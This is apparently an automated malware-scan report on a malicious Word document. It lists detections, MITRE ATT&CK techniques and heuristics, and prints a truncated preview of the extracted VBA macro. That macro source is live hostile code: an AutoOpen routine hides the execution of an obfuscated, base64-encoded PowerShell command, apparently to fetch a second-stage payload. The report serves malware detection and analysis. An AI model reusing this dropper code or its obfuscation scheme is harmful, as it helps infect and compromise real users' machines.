MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample contains VBA macros with an Autoopen function that calls Shell(), a critical heuristic. The script attempts to construct and execute a PowerShell command, indicated by the string concatenation 'powershell' + 'Hidden' + 'JgAoACg', which is then passed to the Shell function. This strongly suggests the document's purpose is to download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Malware.Valyria-6735999-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6735999-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 15448 bytes |
SHA-256: 37443cf0b0160f7d4ab847a56c9eb4a9a1d8352aa9b1faa8c3a067049bd87ab7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "phRaaUTMW" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function jaGhqrnmu() On Error Resume Next zRVqc = (hCEmfO * qfTfD - CXknBv * Round(85085)) + (83013 - Rnd(pXfbM) + 63020 + VAMlvq) imoOtM = (YHCAb * MiUukw - MhGEB * Round(40529)) + (90985 - Rnd(TTStL) + 55337 + BNhwi) jaGhqrnmu = TFIowZcswD + AkjvFj + wwYKtbQs + KkJNEt + XwpNr + nDcMQTBB + jwCDmwhGrz + XtzawhpiP + wHFYMY + XVfZoWH + lwmNI + JGACpMipW RPdaks = (rjRBzS * wfkMYR - FojHP * Round(22230)) + (11456 - Rnd(GNlTnv) + 33322 + dRcMSm) End Function Sub Autoopen() On Error Resume Next RwtvJ = (dUZNX * btTUj - OZDPdf * Round(72705)) + (60875 - Rnd(GuwEv) + 35706 + SKWQwH) JQpEwP (jaGhqrnmu) tMGPkp = (KwvjDN * CTOJdT - ZdIbt * Round(79856)) + (52975 - Rnd(wQjHw) + 20119 + WPBqT) End Sub Function JQpEwP(PMiWX) On Error Resume Next wAVrFn = (qHHSn * Tjwnr - HBzfD * Round(93349)) + (31791 - Rnd(zzwHnA) + 52874 + cmknBL) rJNTq = (TXcKqL * BVSvoz - tIzim * Round(58709)) + (84724 - Rnd(LDDww) + 68145 + WpcZw) fviVpDJ = Shell(FowDJPn + Chr(vbKeyP) + lbaHY + PMiWX, vbHide) ZWzzph = (HUowC * YiJijM - NMYGrP * Round(20575)) + (90276 - Rnd(dSOCkU) + 72995 + hzzSw) End Function Attribute VB_Name = "OFwAKXMGwNzSN" Function TFIowZcswD() On Error Resume Next UMvwpw = (KQIMRr * ARFhO - ZzIRz * Round(16630)) + (47553 - Rnd(pMKtO) + 600 + SMzuz) bwsTj = "owersHeL" + "L -WinDowsTyle " + "hidden -e " + "JgAoACg" uPpdWA = (OiMvv * SUDiwh - VUDzTC * Round(82339)) + (93314 - Rnd(FGnQti) + 69667 + nbHSz) wjSprmbi = "AVgBhAFIASQB" + "BAEIATABFA" + "CAAJwAqAE0AZ" + "AByACoAJw" + "ApAC4A" + "TgBhAE0AZQBbA" + "DMALAAxADEALAAy" + "AF0ALQBqA" + "E8AaQBOACcAJw" zPwjh = (OhANXH * MrJTKJ - cGIioo * Round(69696)) + (69607 - Rnd(WZHXMD) + 66723 + VJHTY) XdFjGi = "ApACAAKAAoACgA" + "KAAiAHsANgAxA" + "H0AewA0ADkA" + "fQB7ADcAfQB7ADI" + "ANAB9AHsANA" ZsmEY = (dHzJRi * GTstEi - dnQjNI * Round(17091)) + (79600 - Rnd(ACNEAi) + 73352 + jMIMP) nHIultHX = "B9AHsA" + "NwA1AH0AewAy" + "ADMAfQB7ADEAMQ" + "B9AHsANAA0" + "AH0Aew" + "AyADYAfQB7ADIA" + "NwB9A" + "HsAMgA4AH0" + "AewA1ADAAfQB" + "7ADcA" wGiJbA = (QCphbm * DrPSoJ - HEZtYh * Round(82745)) + (18647 - Rnd(WdOLSc) + 58993 + hoVkzY) IntJbWIhqQN = "MwB9AHsAOAA3AH" + "0AewA0A" + "DcAfQB7ADMAfQB7" + "ADkAMAB9AHsAOAA" + "zAH0AewAxADQAf" + "QB7ADY" YwJws = (pYFfqC * QDTlG - TDNaK * Round(50491)) + (24630 - Rnd(lzoLH) + 61400 + UcXsR) LcWRmpljimo = "ANQB9AHsAOQA0" + "AH0Ae" + "wA1ADE" + "AfQB7A" + "DEAMAAxAH0A" + "ewA1ADY" + "AfQB7A" + "DQANgB9AHs" + "ANQA4AH0AewA3" jFIjba = (hdVji * FULVzY - fDYRTj * Round(43325)) + (12507 - Rnd(bvtoNm) + 95583 + ujzqj) wiDRl = "ADQAfQB" + "7ADQAMwB9AHsA" + "MwAwAH0" + "AewA1ADQ" + "AfQB7ADgAOQB9AH" + "sAMwA4AH0Aew" + "A4ADEAfQB7AD" TFIowZcswD = bwsTj + wjSprmbi + XdFjGi + nHIultHX + IntJbWIhqQN + LcWRmpljimo + wiDRl End Function Function AkjvFj() On Error Resume Next iFhSa = (JGYUmR * hrMsDP - CappbS * Round(43029)) + (13094 - Rnd(QYovut) + 22877 + QvYlUW) aPmvaQ = "QANQB9A" + "HsAMQA5AH0AewA" + "5ADIAfQB7AD" + "cANwB9AHsA" + "MQAwADUAfQ" + "B7ADEANQB9AHsA" CwIQM = (rvbzGE * rqHLD - IvzVin * Round(61313)) + (50367 - Rnd(IrAhDQ) + 75344 + JGutZc) kNYIHVCwE = "NgAzAH0AewA2A" + "DIAfQB7ADUA" + "fQB7ADQ" + "AMAB9AH" + "sAMQB9AHsAOAA" + "wAH0AewA3AD" + "AAfQB7ADkAN" + "QB9AHsAOQA3AH0" + "AewA3ADEAfQB7A" wopwu = (nMipO * EaacjH - nkwYB * Round(98435)) + (8572 - Rnd(wFIlj) + 36963 + XtwjfB) vGNzbs = "DAAfQB7ADYAOQB9" + "AHsAOQB9AHs" + "AMgA5AH0AewA" + "5ADEA" + "fQB7ADMANgB9" + "AHsAMQAyA" + "H0AewA0ADEAfQB" + "7ADkA" iRron = (EjdNlJ * cBPozq - pGZDf * Round(19580)) + (38674 - Rnd(jiwcO) + 36980 + fhMMW) UVSWL = "OAB9AHsAMgAxAH" + "0AewAxADMAf" + "QB7ADMAN" + "QB9AHsAMQAwA" + "DAAfQB7ADcAOAB9" + "AHsANg" + "B9AHsAOAAyAH0A" OcvAZ = (HWdKmp * iXrnJc - BCzQJ * Round(90777)) + (41706 - Rnd(VibkU) + 14076 + iiDFfM) ihtzmBvb = "ewAyADI" + "AfQB7ADQAOAB" + "9AHsAOAA ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.